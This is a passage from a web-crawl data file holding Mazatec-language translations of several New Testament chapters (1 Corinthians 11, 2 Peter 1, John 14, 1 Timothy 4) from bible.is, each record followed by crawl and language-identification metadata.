kjoa̱'cho sakó‑no. 18Jè ra ma'tsia̱‑ni ra ko̱xín‑no, 'koa̱á 'sín iska'ta‑na 'én, nga 'kia̱‑ró nga maxkóya jiòn ra na̱xi̱ndá‑la̱ Cristo 'mì‑no, ti̱jiòn‑ró nijòya‑no ijo‑no; mejèn tsa makjiín‑na tsa 'koa̱á 'sín i̱nchi'nià kitioò. 19'Koa̱à‑la 'sín ko̱ma ko̱ 'sa̱‑najiòn mé‑ni nga jcha̱‑la̱ yá kjòn‑ni ra kixi̱ kjoa̱ nga xi̱ta̱‑la̱ Cristo ma. 20Ta nga̱tjì‑la̱ 'kia̱ nga maxkóya jiòn, mì tsa ngi ko̱'sín bichi kiti jiòn koni 'sín nga kitsjà kjo̱kixi̱ jè Na̱'ín‑ná nga si̱kítsjen‑yé ra a̱'ta 'tse̱ kjoa̱biya‑la̱. 21Nga̱ tjín i'ka ra tsò ra ská‑la̱ bakjèn nga majìn‑la̱ tsjá‑la̱ xákjín jè ni̱ño̱‑la̱, ko̱ skanda ma'chi̱‑ní; ko̱ jñà ra i'ka, i̱ma̱á ajò‑la̱ ta nga̱tjì‑la̱ nga mì kì bako̱‑la̱ ni̱ño̱. 22¿A tsín‑no ni'ya ñánda̱ nga ma 'yò ko̱ bichioò? ¿Mé‑ni nga ko̱ 'sín 'nià‑no nga nachrjengi‑najiòn ra xi̱ta̱ na̱xi̱ndá‑la̱ Nainá? Ko̱ ti̱'koa̱á nisobá‑la jñà ndí xi̱ta̱ ra tsìn‑la̱ ra bakjèn. ¿Kó xián ra 'a̱n? ¿A maá nda síkítsa̱jna‑najiòn ra a̱'ta 'tse̱ kjoa̱ kìi̱? Majìn, mì kì ma nda síkítsa̱jna‑no. 23Nga̱ a̱'ta 'tse̱é Na̱'ín‑ná nga kjomà‑na koni 'sín tjín kjoa̱ ra ísikátoya‑najiòn: Nga jè ni̱tje̱n 'kia̱ nga ti̱kjè manga̱tsja xi̱ta̱ kondra̱‑la̱ jè Na̱'ín‑ná, iskábé jè ni̱ño̱ nchra̱jín, 24kiìchja̱ nga kitsjà‑la̱ kjo̱nda Nainá, isìjòya jè ni̱ño̱ nchra̱jín ko̱ a̱kjòn kitsò: Jè ni̱ño̱ nchra̱jín ra̱kìi̱, jè‑ní ra ijo‑na̱ ra títsja ra ta nga̱tjì tsa̱jiòn; ko̱'sín ti̱jòya‑te jiòn ni̱ño̱ nchra̱jín nga ti̱kítsjen‑yá ra a̱'ta tsa̱'a̱n. 25'Koa̱á ti̱'sín ki'sìn 'kia̱ nga ijye tsakjèn; iskábé jè chi̱tsín, nga kitsò: Jè nandá xán 'tse̱ uva ra tjíya chi̱tsín ra̱kìi̱, jè jní‑na̱ ra xa̱ájten nga si̱ndajín xi̱tse̱ jngo kjoa̱ ra a̱'ta tsa̱jiòn ko̱ Nainá. 'Koa̱á 'sín 'tia̱àn ki'ta nga ti̱kítsjen‑yá ra a̱'ta tsa̱'a̱n 'kia̱ nga india‑india 'sio̱ò. 26'Koa̱á ma‑ni, 'kia̱ nga india‑india chji̱ne̱e jiòn jè ni̱ño̱ nchra̱jín ra̱kìi̱, ko̱ 'sio̱ya jiòn nandá xán 'tse̱ uva jè chi̱tsín ra̱kìi̱, jè kjoa̱biya‑la̱ Na̱'ín‑ná 'bena̱jmíya jiòn, skanda 'kia̱ nga kj'i̱í india‑ni ra jè. 27'Koa̱á ma‑ni tsa yá ra ta ko̱'sín ski̱ne̱ jè ni̱ño̱ nchra̱jín ra̱kìi̱, ko̱ sk'í jè nandá ra tjíya chi̱tsín 'tse̱ Na̱'ín‑ná, tsa mì kì bexkón‑ni kjoa̱ kìi̱, jé tíbátsji‑la̱ ijo‑la̱, nga̱ tíbachrjengi‑ní koni 'sín nga 'ken Jesús nga kitsjà ijo‑la̱ ko̱ nga tsikíxten jní‑la̱. 28Kií machjeén‑ni nga nda kjón‑ní ti̱chi̱yajin‑la̱ inìma̱‑no 'kia̱ nga ti̱kje chji̱ne̱e jè ni̱ño̱ nchra̱jín ko̱ 'sio̱ò jè nandá xán 'tse̱ uva ra tjíya chi̱tsín 'tse̱ Na̱'ín‑ná. 29Jè ra bakjèn, ko̱ 'bi, tsa mì kì tíbexkón‑ni kjo̱hi'in ra kjomà'tin ijo‑la̱ Na̱'ín‑ná, ti̱jé tíbínè‑la̱ kjo̱hi'in ijo‑la̱ 'kia̱ nga bakjèn ko̱ 'bi. 30'Koa̱á ma‑ni nga ko̱'sín 'ñó kjìn ma‑ni ra ya̱ títsa̱jnajin‑najiòn ra 'ñó kiya ko̱ ra inchife nga'ñó‑la̱, skanda tjín i'ka ra ijye 'ken. 31Tsa jién‑la ra nda kjòn si̱chi̱ya ítjòn‑lá jè inìma̱‑ná kó'sín titsa̱jneé, mí‑la tsa ko̱tjín kjo̱hi'in tsjá‑ná Na̱'ín‑ná. 32Tanga tsa jè Na̱'ín‑ná tsjá‑ná kjo̱hi'in, kií‑ní nga mejèn‑la̱ nga si̱ikixi̱ya‑ná mé‑ni nga mì ya̱ ta̱ña si̱kjieén kjo̱hi'in ra mì fehe'ta ra ko̱ko̱‑la̱ jñà xi̱ta̱ i̱sà'nde ra mì kì bexkón Nainá. 33'Koa̱á ma‑ni jiòn ndí 'ndsé, 'kia̱ nga ki̱tsa̱jnajtín jiòn nga ki̱chioò ra a̱'ta 'tse̱ Na̱'ín‑ná, jchíña‑la xàngio̱o nga jngó jngó‑no. 34Tsa yá ra 'ñó ajò‑la̱, ya̱ katakjèn kjòn ya̱ ni'ya‑la̱, mé‑ni nga mì kì kjo̱hi'in tsjá‑no Nainá tsa 'kia̱ nga mì kì nda 'sia̱an 'kia̱ nga ko̱xkóya. A̱'ta 'tse̱ kjoa̱ ra kj'ií‑isa, 'kia̱ kjòn nda sikíxi̱ya‑no 'kia̱ nga kijchòjkon‑no.\n1 Corintios 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/11","date":"2013-12-08T17:36:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163728657\/warc\/CC-MAIN-20131204132848-00029-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":951,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, ra Simón Pedro 'mì‑na, ra xi̱ta̱ chi̱'nda‑la̱ Jesucristo ma ko̱ nga ti̱'koa̱á 'a̱n tsikíxáya‑na, tísikásén‑no jè xa̱jo̱n ra̱kìi̱, jiòn ra ngásòn nda makjiín‑no a̱'ta 'tse̱ Cristo koni 'sín nga ti̱'koa̱ nda makjiín‑naji̱n ra ji̱n; nga̱ xi̱ta̱ kixi̱í jè Cristo ra Nainá‑ná ra bachrjekàjin‑ná kjo̱hi'in. 2Koni 'sín nga isa̱ nda i̱nchi'yaxkon‑isa jiòn jè ra Nainá ko̱ jè Jesús ra tíjna ítjòn‑ná, ko̱'sín isa̱ tse kjo̱nda ko̱ tse kjoa̱'nchán katasakó-isa‑la̱ inìma̱‑no. 3Jè nga'ñó‑la̱ Nainá títsjá ijye‑ná nga'tsì ra machjeén‑la̱ jè kjo̱binachon‑ná ko̱ nga'tsì ra machjeén‑ná nga tsje si̱jché ijo‑ná. Kií ko̱'sín títsjá‑ná nga'tsì kjo̱nda kìi̱ ta nga̱tjì‑la̱ nga ijyeé nda 'yaxkeén jè ra xá kiìchja̱‑ná ko̱ batoó jeya tíjna ra jè, ko̱ xá 'koa̱á 'sín nda‑ni xi̱ta̱. 4Ko̱ a̱'ta 'tse̱é kjoa̱ kìi̱ nga ko̱'sín títjábé‑ná kjoa̱ ra 'ñó nda tjín ko̱ ra 'ñó chjí‑la̱ ra ijye ko̱'sín kitsò Nainá nga tsjá‑ná, mé‑ni nga a̱'ta 'tse̱ kjoa̱ kìi̱ ko̱ko̱'ta‑te‑ná nga ko̱'sín 'sie̱én koni 'sín 'sín Nainá, nga jién ijyeé tsincha'taxìn‑lá kjoa̱'cho ra faajin‑la̱ ijo‑ná ra tjín ya̱ i̱sà'nde ra ta síkitsón‑ná. 5Kií ko̱'sín machjeén‑ni nga 'ti̱ nga'ñó‑la ijo‑no a̱'ta 'tse̱ jñà kjoa̱ kìi̱. Koni 'sín nga makjiín‑no a̱'ta 'tse̱ Cristo, 'koa̱á ti̱'sín nda xi̱ta̱ 'tia̱àn; tsa ijyeé nda jiòn xi̱ta̱, 'koa̱á ti̱'sín kata'se‑no kjoa̱chji̱ne̱; 6Tsa ijye tjín‑no ra kjoa̱chji̱ne̱, ko̱'sín nda ta̱te̱xoma‑la ijo‑no; tsa ijye nda batexoma‑la ijo‑no, katachíkjoa̱ko̱‑no ta mé kjoa̱‑nioo̱; tsa chíkjoa̱ko̱‑no ta mé kjoa̱‑nioo̱, ti̱skón‑cha Nainá; 7Tsa tjín‑no kjoa̱skon a̱'ta 'tse̱ Nainá, tsjacha 'tia̱àn xàngio̱o nga jngó jngó‑no; ko̱ tsa tsjacha‑no xàngio̱o, ti̱'koa̱á tsjacha 'tia̱àn ra kj'ií xi̱ta̱. 8Tsa tjín‑no nga'tsì kjo̱nda kìi̱, ko̱ tsa ni̱chjin nchijón‑ní tísakó-isa‑najiòn kjo̱nda kìi̱, tsó‑ni kjoa̱ nga mì tsa ta titsa̱hijyo 'tsè jiòn, ko̱ isa̱á tse kjo̱nda sa̱kò-isa‑najiòn koni 'sín nga i̱nchi'yaxkon‑isa Jesucristo ra tíjna ítjòn‑ná. 9Tanga tsa tjín i'ka xi̱ta̱ ra mì kì ko̱'sín i̱nchisíjchá ijo‑la̱, mì kì nda tsijen‑la̱, xi̱ta̱ xka̱‑ní, ijyeé ki'chaàjin‑la̱ nga ijyeé kinìhijchaà'ta‑la̱ jé ra tjín‑la̱ ti̱'sa̱ kjotseé. 10Jiòn ndí 'ndsé ko̱ ndí tichjeé, 'ti̱ nga'ñó‑la ijo‑no nga ti̱kixi̱ya kjoa̱ koni 'sín nga Nainá xá kiìchja̱‑no ko̱ tsjahíjin‑no. 'Kia̱ tsa ko̱'sín 'sia̱n ki'ta jiòn, ni̱kjiá ska̱jen‑ngi jiòn. 11Ta isa̱á jnchro, ngi jngo 'ká kjón‑ní tjáxa̱'nde‑no nga ki̱tjáha̱'se̱en ñánda̱ nga tíbatéxoma skanda ta mé ni̱chjin‑ni jè Jesucristo ra tíjna ítjòn‑ná ko̱ ra bachrjekàjin‑ná kjo̱hi'in. 12Ko̱ 'koa̱á 'sín síkítsjen‑yá ki'ta‑najiòn jñà kjoa̱ kìi̱, ni̱'sín takó ijye 'ñó nda 'ya jiòn ko̱ ni̱'sín 'ñó nda kji'ta takòn jiòn jè kjo̱hixi̱ ra ko̱'sín ijye 'ya jiòn 'ndi̱ 'ndi̱‑ni̱. 13'Koa̱á 'sín machi̱ya‑na nga 'koa̱á 'sín tjínè‑na nga síkítsjen‑yá‑la̱ kjo̱bítsjen‑najiòn, 'kia̱ nga takó tíjna̱‑isa i̱ i̱sà'nde. 14Nga̱ ijyeé be‑náa̱ nga ta chibaá ni̱chjin chija‑isa nga kje̱he'tà ni̱chjin‑na̱, nga̱ 'koa̱á 'sín ijye isìchi̱ya tsijen‑na jè Jesucristo ra tíjna ítjòn‑ná. 15'Koa̱á 'sín ítsikiné‑la̱ ijo‑na̱ mé‑ni nga ijye tjín kixi̱‑ni kjoa̱, nga 'koa̱á 'sín síkítsjen‑yá ki'ta‑najiòn kjoa̱ kìi̱, 'kia̱ 'a̱n ra ijye i̱ko̱‑na Na̱'ín‑ná. 16Nga̱ mì tsa ya̱ tsangìtji̱ngi‑la̱ji̱n koni tsò xi̱ta̱ ra 'béna̱jmí kuendo̱ ra ta jñà bínda, 'kia̱ nga ko̱'sín tsi'kèna̱jmí‑laji̱n a̱'ta 'tse̱ nga'ñó ra tjín‑la̱ Jesucristo ra tíjna ítjòn‑ná ko̱ koni 'sín nga ko̱ma 'kia̱ nga kj'i̱í india‑ni ra jè. Nga̱ nda kjón‑ní kijcha‑ji̱n jè kjoa̱jeya‑la̱, ko̱ 'koa̱á 'sín tsi'kèna̱jmí‑ji̱n. 17'Kia̱ nga jè Nainá ra Na̱'ìn 'mì‑lá jeya ko̱ 'nga isíkíjna; inchrabà jngo‑ni 'én ya̱ a̱jin i̱sén i'ngaá ñánda̱ nga 'ñó jate tsatsíjen ra kitsò: \"Jé ra̱kìi̱ I'ndí‑na̱ ra 'ñó tsjake̱, batoó tsja tjín‑la̱ takoàa̱n ra a̱'ta 'tse̱.\" 18Ngaji̱n sabá ina'yá‑la̱ji̱n 'én ra̱kìi̱ ra ngajmi inchrabà‑nì, nga̱ ya̱á ta̱ña titsa̱jnako̱‑ji̱n jè Jesucristo 'kia̱ nga ko̱'sín kjomà ya̱ a̱sòn'nga‑la̱ nindo tsje. 19Ti̱'koa̱á tíjnaá‑te‑ná 'én ra síkixi̱ya‑ná, ra kiìchja̱ jñà xi̱ta̱ ra kiìchja̱ya ngajo‑la̱ Nainá. 'Ñó nda‑ni 'kia̱ nga ko̱'sín nda i̱nchinìsin‑la jñà 'én kìi̱, ra ko̱'sín jngoya‑la̱ koni jngo kandì ra síhisen ya̱ i̱'nde ñánda̱ jñò chon, skanda 'kia̱ nga ijye nda ko̱tsíjen nga ko̱ ni̱chjin, ko̱ ko̱hisen‑jín ya̱ inìma̱‑najiòn koni tsa tjó kjòn jè nitse‑xó ra tjo 'kia̱ nga xa̱ya. 20Jè ra nda katasijin ítjòn‑najiòn, jé‑ní, nga ni̱jngo 'én ra tjí'ta ya̱ xa̱jo̱n ñánda̱ nga tíchja̱ 'én‑la̱ Nainá, ra ta sko̱ xi̱ta̱ tsachrje‑nì 'kia̱ nga kisinda. 21Nga̱ ni̱jngo 'én‑la̱ Nainá ra kiìchja̱ya xi̱ta̱ kìi̱ ra ta kjo̱bítsjen 'tse̱ xi̱ta̱ inchrabà‑ni; jè sabá Inìma̱ Tsje‑la̱ Nainá kisìhichi̱yajin‑la̱ kjo̱bítsjen‑la̱ jñà xi̱ta̱ kìi̱ 'kia̱ nga ko̱'sín kiìchja̱ya ngajo‑la̱ Nainá.\n2 Pedro 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Pet\/1","date":"2013-12-12T22:29:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164737564\/warc\/CC-MAIN-20131204134537-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":683,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kì makájno‑nò. Kàtakjeiín‑nò i̱t'aà ts'e̱ Nainá, ti̱koa̱ kàtakjeiín‑nò i̱t'aà ts'a̱n. 2Ján ni'ya‑la̱ Na̱'èn‑na̱ tjín jchán i̱'nde ñánda ma nìkjáya. Tsà mì kixi̱ kjoa̱ nga k'oa̱s'ín tjín, mì‑la tsà tà chjà k'oa̱ xán‑nò nga tìfìkìndaà‑nò jngoò i̱'nde xi tsa̱jòn. 3Koni s'ín kjián nga kìndaà‑nò i̱'nde, k'oa̱á ti̱s'ín kjoia̱a ìjngoò k'a nga kjíko̱‑nò, mé‑ne ya̱ ñánda kóti̱jna, ti̱koa̱ ya̱ ki̱tsa̱jnako̱‑ná. 4Jñò jyeé 'yaà kós'ín fì ndi̱yá ñánda tìfia. 5Tomás kitsò: ―Na̱'èn mìkiì 'ya‑je̱n ñánda tì'mì. ¿Kós'ín jcha̱‑naje̱n ndi̱yá? 6Jesús kitsò‑la̱: ―'A̱n‑ná xi ndi̱yá, 'a̱n‑ná xi kjoa̱kixi̱, 'a̱n‑ná xi kjoa̱binachon. Ta̱jngoò i̱t'aà ts'a̱n ko̱ma ki̱jchò jñò ñánda tíjna Na̱'èn‑ná. 7Jñò, tsà yaxkon‑ná, ti̱koa̱ jcha̱xkon‑nò Na̱'èn‑na̱. Ta̱nga i̱'ndei̱, jyeé yaxkon ko̱ titsa̱chìtsejèn‑la. 8Felipe kitsò: ―Ta̱kó‑náje̱n yá‑ne xi Na̱'èn 'mì. Ta̱ k'oa̱á tjín xi ko̱jngoò‑ne takòn‑je̱n. 9Jesús kiìchja̱ kitsò‑la̱: ―Ji̱ Felipe, kjòtseé tìjna̱ko̱‑nò, ¿a tà kj'eè yaxkon‑ná? Jè xi jye kijtseèxkon‑na̱, jyeé kijtseèxkon Na̱'èn‑na̱. ¿Mé‑ne ko̱si‑ne: \"Ta̱kó‑náje̱n xi Na̱'èn 'mì\"? 10¿A mì mokjeiín‑lè nga 'a̱n, ya̱á tìjna̱koa̱a Na̱'èn‑na̱, koa̱ jè Na̱'èn‑na̱ ya̱ tíjnako̱‑na? Jñà 'én xi 'a̱n chjàko̱‑nò, mìtsà kjo̱hítsjeèn ts'a̱n; jè Na̱'èn‑na̱ xi tíjnako̱‑na, jè‑né xi tísíxá i̱t'aà ts'a̱n. 11Kàtakjeiín‑nò nga 'a̱n ya̱ tìjna̱koa̱a Na̱'èn‑na̱, ko̱ jè Na̱'èn‑na̱ ya̱ tíjnako̱‑na. Tsà mìkiì mokjeiín‑nò i̱t'aà ts'a̱n, na̱s'ín tà jè kàtakjeiín‑nò i̱t'aà ts'e̱ xá‑na̱ xi 'a̱n tìs'iaàn. 12Nguì o̱kixi̱í xi xan‑nò, jè xi mokjeiín‑la̱ i̱t'aà ts'a̱n, ti̱koa̱á ko̱maá‑la̱ s'i̱in xá xi 'a̱n s'iaàn; skanda ìsa̱á tsato s'i̱in, nga 'a̱n, ján tìfia ñánda tíjna Na̱'èn‑na̱. 13Ni̱ta̱ mé xi si̱jé‑la Na̱'èn‑na̱ xi i̱t'aà ts'a̱n, 'a̱n sìkitasoàn, mé‑ne jè Na̱'èn‑na̱ jeya kíjna‑ne i̱t'aà ts'e̱ Ki'ndí‑la̱. 14Tsà mé xi si̱jé i̱t'aà ts'a̱n, 'a̱n, sìkitasòn‑ná. 15'Jñò, tsà matsjacha‑ná ti̱kitasòn kjo̱tíxoma‑na̱. 16'A̱n, kìtsi'bà‑la̱ Na̱'èn‑na̱ nga kàtasíkasén jngoò‑nò jè xi ko̱si̱ko̱‑nò, mé‑ne kjit'aà na̱chrjein kíjnako̱‑nò. 17Jè xi si̱ìkasén‑nò Na̱'èn‑na̱, jè Ini̱ma̱ Tsjeè‑la̱ xi nguì kjoa̱ kixi̱. Jñà xi̱ta̱ i̱sò'nde, mìkiì ko̱ma skoétjò nga mìkiì beèxkon, ta̱nga jñò yaxkon‑nò nga ya̱ tíjnako̱‑nò, ko̱ ya̱á kíjnajiìn ini̱ma̱‑nò. 18Mìkiì siìkítsa̱jna jcha̱n‑nò, kjoi̱kon ìjngoò k'a‑nò nga kóti̱jnako̱‑nò. 19Tà chibaá na̱chrjein chija‑la̱ nga jñà xi̱ta̱ i̱sò'nde mì ti̱ kiì skoe̱xkon‑na; ta̱nga jñò jcha̱xkon‑ná; ti̱koa̱á ki̱tsa̱jnakon‑nò nga 'a̱n tìjna̱kon‑ná. 20K'e̱ nga ki̱jchò na̱chrjein jè, jcha̱‑nò nga ya̱á tìjna̱koa̱a Na̱'èn‑na̱, koa̱ jñò ya̱á titsa̱jnako̱‑ná, ko̱ 'a̱n ya̱á tìjna̱ko̱‑nò. 21Jè xi tíjiìn‑la̱ kjo̱tíxoma‑na̱ ti̱koa̱á síkitasòn‑né, jè‑né xi matsjakeè‑na. Ko̱ jè xi matsjakeè‑na ti̱koa̱á ko̱tsjakeè Na̱'èn‑na̱. 'A̱n, ti̱koa̱á matsjake̱‑ná koa̱ kokoò tsejèn‑la̱ yijo‑na̱. 22Kiskònangui Judas (mìtsà jè Iscariote). Kitsò‑la̱: ―Na̱'èn kós'ín ko̱ma nga tà ngaje̱n ko̱kótsejèn‑náje̱n yijo‑lè nga mìtsà jñà xi̱ta̱ i̱sò'nde ko̱kótsejèn‑la̱ yijo‑lè. 23Kiìchja̱ Jesús, kitsò‑la̱: ―Jè xi matsjakeè‑na̱ si̱ìkitasòn 'én‑na̱; ko̱ jè Na̱'èn‑na̱ ko̱tsjakeè‑né. Na̱'èn‑na̱ ko̱ 'a̱n kji̱nchrobàchón‑náje̱n; ya̱á ki̱tsa̱jnako̱‑je̱n. 24Jè xi mìkiì matsjakeè‑na mìkiì síkitasòn 'én‑na̱. Jñà 'én xi jñò titsa̱na'yà, mìtsà ts'a̱n, ts'e̱é Na̱'èn‑na̱ xi kisìkasén‑na. 25'K'oa̱á s'ín tibeno̱jmí yije‑nò 'én koi k'e̱ nga tákó tìjna̱ko̱ ìsa̱‑nò. 26Jè xi ko̱si̱ko̱‑nò, jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi i̱t'aà ts'a̱n si̱ìkasén‑nò Na̱'èn‑na̱, jè ko̱kòya yije‑nò koa̱ si̱ìkítsjeèn‑nò ngats'iì 'én xi tìxan‑nò. 27''A̱n, tsjaà‑nò kjoa̱'nchán; ya̱á sìkíjnajñaà ini̱ma̱‑nò. K'oa̱á s'ín tsjaà‑nò koni s'ín 'nchán tìjna̱a, mìtsà k'oa̱s'ín tsjaà‑nò koni s'ín tsjá i̱sò'nde. Kì makájno‑nò ko̱ kì tsakjoòn‑jèn. 28Jñò, jyeé kina'yà koni s'ín tìxan‑nò nga 'a̱n tìfia ta̱nga kjoi̱i ìjngoò k'a. Tsà kixi̱ kjoa̱ nga matsjacha‑ná, jñò, ti̱koa̱á ko̱tsjaá‑nò nga xan‑nò: Jye tìfia ñánda tíjna Na̱'èn‑na̱; nga jè Na̱'èn‑na̱ ìsa̱á tíjna ítjòn mì k'oa̱‑ne koni 'a̱n. 29K'oa̱á s'ín tibeno̱jmí ítjòn‑nò kjoa̱ koi, mé‑ne k'e̱ nga jye ki̱tasòn, ko̱kjeiín‑nò. 30'Mì ti̱ kiì kjìn 'én kichjàko̱ ìsa̱‑nò. Jyeé nchrobá xi̱ta̱ nei̱í xi tíhotíxoma‑la̱ jè i̱sò'nde; ta̱nga nìmé nga'ñó tjín‑la̱ nga jè si̱ìkijne‑na. 31K'oa̱á s'ín ki̱tasòn, mé‑ne skoe̱‑ne jñà xi̱ta̱ i̱sò'nde nga matsjake̱ Na̱'èn‑na̱ nga tìsìkitasoàn kjo̱tíxoma xi kitsjaà‑na. 'Ti̱sítje̱en, tíkjiaán.\nSan Juan 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/14","date":"2013-12-06T00:42:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048688\/warc\/CC-MAIN-20131204131728-00065-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":577,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.227,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tanga jè Inìma̱ Tsje‑la̱ Nainá ndaá 'béna̱jmíya‑ná nga tsò: 'kia̱ nga tà chiba ni̱chjin chija‑isa nga kj'i̱í india‑ni Na̱'ín‑ná, 'se̱é xi̱ta̱ ra mì kì ti̱ ko̱kjiín‑la̱ a̱'ta 'tse̱ Cristo. Ya̱á ki̱ji̱'ta‑la̱ inìma̱ 'cho‑la̱ ni̱í ra konda̱cha̱ ko̱ kjo̱bítsjen‑la̱ ni̱í si̱hitjasòn‑la̱. 2Jñá kji̱'nchré‑la̱ xi̱ta̱ ndiso ra jò i̱sén tjín‑la̱. Xi̱ta̱ kìi̱, nga ijye kjótájajín kjo̱bítsjen‑la̱, mì ti̱ kinda̱ fìko̱‑ni kjoa̱'cho ra i̱nchi'sín. 3Jñà xi̱ta̱ kìi̱, mì kì tsjá'nde nga ki̱xan xi̱ta̱. Ti̱'koa̱á tjín tsajmì ra ma chine, ra mì kì tsjá'nde nga ko̱ma chji̱ne̱. Tanga tsajmì kìi̱, Nainá tsikínda nga tjínè‑la̱ nga ko̱ma ski̱ne̱ xi̱ta̱ ra makjiín‑la̱ ko̱ ra nda be kjo̱hixi̱. 'Kia̱ nga ski̱ne̱, ki̱chja̱'tá‑la̱ Nainá nga ki̱tso̱‑la̱: \"Tse kjo̱nda kata'se‑li Na̱'ìn a̱'ta 'tse̱ tsajmì kìi̱.\" 4Nga'tsì tsajmì ra Nainá tsikínda, nda‑ní, mì kì ko̱ma ki̱náchrjengieé. Ko̱maá si̱chjeén ijyeé tsa ki̱nákjoa̱'tá‑lá Nainá 'kia̱ nga si̱chjeén nga 'kín‑lá: \"Tse kjo̱nda kata'se‑li Na̱'ìn.\" 5Jè 'én‑la̱ Nainá sítsjeé tsajmì, ko̱ ti̱'koa̱á matsjeé‑te 'kia̱ nga nakjoá'ta‑lá Nainá. 6Ji̱, tsa ko̱'sín ko̱kón‑ya‑la̱ jñà xi̱ta̱ xàngie̱é kjoa̱ kìi̱, 'ñó nda si̱xá'ta‑la̱ Cristo Jesús. 'Ñó nda si̱jin‑isa‑li kjo̱bítsjen a̱'ta 'tse̱ 'én ra makjiín‑ná ko̱ kjo̱bítsjen ra nda tjín ra nda tji'mìtji̱ngi‑la̱. 7Tanga kì taxki̱ nisin‑la̱ 'én jchínga 'tse̱ i̱sà'nde ra nìmé chjí‑la̱ ra tà kjo̱bítsjen‑la̱ xi̱ta̱. Tinè‑la̱ ijo‑li nga jcha̱xkín Nainá. 8Tsa kínè‑lá ijo‑ná nga 'ki̱‑lá nga'ñó, sa̱kó chiba‑la̱ kjo̱nda, tanga tsa kínè‑lá inìma̱‑ná nga nda jcha̱xkén Nainá, isa̱á sa̱kó‑ná kjo̱nda ra machjeén‑ná nga ki'ta ni̱chjin. Sa̱kó‑ná kjo̱nda i̱ a̱'ta nangi ko̱ ján ngajmi. 9'Én kìi̱, 'én kixi̱‑ní. Machjeén‑ní nga katakjiín ijye‑la̱ xi̱ta̱. 10Kií ko̱'sín biné‑ilá xá ijo‑ná, ti̱'koa̱ nìkjieén kjo̱hi'in, nga̱ jé i̱nchichiñá‑lá Nainá ra tíjnakon ra ma‑la̱ bachrjekàjin kjo̱hi'in nga'tsì xi̱ta̱. Tanga tà jñá kjón ki̱tjokajin kjo̱hi'in jñà ra makjiín‑la̱ a̱'ta 'tse̱ Cristo. 11Ko̱'sín ta̱te̱xoma‑la̱ xi̱ta̱, ti̱'koa̱ ko̱'sín ta̱kón‑ya‑la̱ 'én kìi̱. 12Kì yá ra bachrjengi‑li ni̱'sín isa̱ i'ndí ra ji̱. Ya̱ a̱jin‑la̱ xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo, ji̱í nda 'tin ítjìn mé‑ni nga ski̱íngi‑li xi̱ta̱ kó'sín nakjí, kó'sín nga 'nì, kó'sín nga tsjacha 'yi Nainá ko̱ xi̱ta̱, [kó'sín nga nda tíjna inìma̱‑li], kó'sín nga makjiín‑li a̱'ta 'tse̱ Nainá, ko̱ kó'sín nga tsje tjiníjchí ijo‑li ya̱ ngixko̱n Nainá. 13Skanda 'kia̱ nga kijchòjkon‑la, 'koa̱á 'sín 'ti̱ìn: chjítá'yájin‑la̱ xi̱ta̱ 'én‑la̱ Nainá; ko̱'sín tinè‑la̱ nga 'ñó kata'bé‑la̱ ikon; ti̱'koa̱á ta̱kón‑ya‑la̱. 14Kì niìjchaàjin nga si̱xá'ta‑la̱ Nainá a̱'ta 'tse̱ kjo̱tjò ra itjábé‑li 'kia̱ nga jñà xi̱ta̱ jchínga‑la̱ na̱xi̱ndá‑la̱ Nainá tsakásòn‑li tsja nga jñà kiìchja̱ ngajo‑la̱ Nainá a̱'ta tsa̱ji. 15A̱'ta 'tse̱ kjoa̱ kìi̱, kji'tá ni̱chjin chjítá'yáki̱i, ti̱'koa̱ ti̱xáki̱i mé‑ni nga ske̱‑ni xi̱ta̱ nga tímajchíngako̱‑ní kjoa̱ kìi̱. 16Nda ti̱kondi̱i ijo‑li mé ra 'nì. Ti̱'koa̱ 'ti̱ìn kinda̱ jè 'én ra bakon‑ya‑la̱ xi̱ta̱. Kixi̱ ti̱jni. Tsa ko̱'sín si̱hitjasìn, ngaji̱ kítjo̱kajin‑ní kjo̱hi'in; ti̱'koa̱á ki̱tjokajiín jñà xi̱ta̱ ra 'nchré‑li.\n1 Timoteo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/4","date":"2013-12-06T10:34:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051248\/warc\/CC-MAIN-20131204131731-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":434,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús kitsò‑la̱ 